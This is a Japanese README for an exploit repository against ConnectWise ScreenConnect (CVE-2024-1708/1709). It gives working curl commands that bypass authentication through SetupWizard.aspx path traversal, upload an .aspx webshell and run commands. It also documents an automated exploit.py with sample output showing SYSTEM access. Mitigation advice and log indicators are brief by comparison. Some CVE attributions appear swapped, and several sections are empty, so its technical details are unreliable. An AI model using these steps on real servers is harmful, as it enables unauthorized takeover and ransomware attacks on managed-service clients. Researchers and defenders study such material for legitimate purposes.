CVE-2024-1708 / CVE-2024-1709 — ConnectWise ScreenConnect 認証バイパスおよびリモートコード実行

CVSS スコア: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22（パストラバーサル）、CWE-288（代替パスを使用した認証バイパス）
影響を受けるソフトウェア: ConnectWise ScreenConnect（旧 ScreenConnect）≤ 23.9.7
発見・報告: 2024年2月
実環境での悪用: LockBit、Black Basta、Bl00dy などのランサムウェア関連組織

目次

1. 概要
2. 技術詳細
3. 影響を受けるバージョン
4. 再現手順
5. 概念実証（PoC）の使用方法
6. 緩和策
7. 参考情報

1. 概要

CVE-2024-1708 および CVE-2024-1709 は、ConnectWise ScreenConnect（旧 ConnectWise Control）における連鎖的な脆弱性のペアであり、これらを組み合わせることで、認証されていないリモート攻撃者 が ScreenConnect サーバー上で 完全なリモートコード実行 を達成できます。

• CVE-2024-1708 — パストラバーサルによる認証バイパス。SetupWizard.aspx エンドポイント（および関連するセットアップ/アップグレードエンドポイント）は、ユーザーが指定したパストラバーサルシーケンス（../）を適切にサニタイズしません。認証されていない攻撃者は、意図されたセットアップディレクトリの外部にトラバースし、認証が必要なエンドポイントに到達できます。ウィザードは SYSTEM（Windows）または root（Linux）アカウントのコンテキストで実行されるため、攻撃者は昇格した権限を継承します。

• CVE-2024-1709 — RCE につながる無制限のファイルアップロード。認証がバイパスされると、攻撃者は任意の .aspx またはその他の実行可能ファイルを Web ルートにアップロードできます。その後、アップロードされたファイルをリクエストすることで、サーバー上で任意のコードが実行されます。

影響

これらの脆弱性は、2024年2月19日以降、複数のランサムウェアグループによって大量に悪用されました:

ScreenConnect は、数百の下流クライアントエンドポイントをリモート管理するために マネージドサービスプロバイダー（MSP） によって一般的に展開されているため、単一の ScreenConnect サーバーが侵害されると サプライチェーン攻撃 が可能になります。その ScreenConnect サーバーにエージェントが接続されているすべてのクライアントが危険にさらされます。

2. 技術詳細

2.1 認証バイパス（CVE-2024-1708）

ScreenConnect サーバーは、次の場所にセットアップウィザードを公開しています:

/SetupWizard.aspx/

特定のアップグレード/修復状態では、サーバーはセットアップウィザードが初回実行時のものであると想定するため、認証を適用しません。重大な欠陥は、ウィザードの名前空間配下のパスにアクセスする際に、サーバーが __Session Cookie または Transfer-Encoding / Content-Type ヘッダーを処理する方法にあります。

次のリクエストを送信することで:

/SetupWizard.aspx/../../ScreenConnect/Login.aspx

パストラバーサルにより「セットアップウィザード」コンテキストがキャンセルされますが、サーバーは未認証セッションコンテキストが引き続き適用されると認識します。攻撃者は、認証されたかのようにリダイレクトされるか、ページを提供されます。

代替ベクター: PrepareUpgrade.aspx / PostUpgrade.aspx ハンドラーも同様に認証チェックがなく、ファイルアップロード機能を公開しています。

2.2 リモートコード実行（CVE-2024-1709）

攻撃者が認証済みエンドポイントに到達すると（またはセットアップコンテキストのファイルアップロードハンドラーに直接アクセスすると）、悪意のある .aspx ウェブシェルをアップロードできます:

POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream

<%@ Page Language="C#" %>...
------BOUNDARY--

ファイルは Web アプリケーションディレクトリ（例: C:\Program Files\ScreenConnect\Website\）に書き込まれます。アップロードされたシェルをリクエストすると、サーバーの権限で実行されます。

2.3 根本原因（CWE-22 / CWE-288）

• サーバーはルーティング前にリクエストパスを正規化できません。
• SetupWizard.aspx ハンドラーは、そのルート配下のリクエストはすべてセットアッププロセスの一部であり認証をバイパスすべきであると信頼していますが、パストラバーサルがその前提を破ります。
• ../ シーケンスやシンボリックリンクトラバーサルの適切な検証がありません。

3. 影響を受けるバージョン

注記: セルフホスト（オンプレミス）の ScreenConnect サーバーが主な標的です。ConnectWise ホスト（クラウド）の ScreenConnect インスタンスは公開前にパッチが適用されており、脆弱な状態になったことはありません。

4. 再現手順

4.1 ラボ環境のセットアップ

1. 脆弱な ScreenConnect バージョン（23.9.7 以前）をダウンロードします。
   公式インストーラーは ConnectWise パートナーアーカイブから入手できる場合があります。テストには隔離された VM を使用してください。
2. Windows Server（2019/2022） または Linux ホストにインストールします。
   • デフォルトのインストールパス:
     • Windows: C:\Program Files\ScreenConnect\
     • Linux: /opt/screenconnect/
   • デフォルトの Web ポート: 8040（HTTP）または 443（設定されている場合は HTTPS）
3. サーバーがネットワーク的に隔離されていることを確認します — テスト中はインターネットに公開しないでください。

4.2 脆弱性の確認

# Check the version
curl -s http://<target>:8040/ | Select-String "ScreenConnect"

または Web インターフェースにアクセスし、ページソース内のバージョン番号を確認します。

4.3 パストラバーサルのテスト

curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"

脆弱なサーバーでの期待される動作:

• 通常のログインプロンプトなしで、セッション認証済みページへの 200 OK または 302 リダイレクト が返されます。
• レスポンスに ScreenConnect 管理コンソールの HTML が含まれる場合があります。

4.4 ウェブシェルのアップロード

curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
  -H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
  -F "[email protected]"

4.5 コマンドの実行

curl "http://<target>:8040/shell.aspx?cmd=whoami"

5. 概念実証（PoC）の使用方法

同梱の exploit.py スクリプトは、上記の手順を自動化します:

usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]

Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target hostname or IP
  -p PORT, --port PORT  Target port (default: 8040)
  -c COMMAND, --command COMMAND
                        Command to execute (default: whoami)
  --ssl                 Use HTTPS

Example:
  python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"

実行例

$ python exploit.py -t 192.168.1.100 -c "whoami"

[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system

6. 緩和策

即時対応（パッチ）

• ScreenConnect をバージョン 23.9.8 以降にアップグレードしてください。
• ConnectWise は 2024年2月20日 にパッチをリリースしました。

補完的対策

検出

Web サーバーログで次の IoC を検索します:

GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=

7. 参考情報

免責事項

このリポジトリは、教育および正規のセキュリティ研究目的のみ で提供されています。所有していないシステム、または明示的な書面によるテスト許可を得ていないシステムへの無許可のテストは違法です。著者はこの情報の誤用について一切の責任を負いません。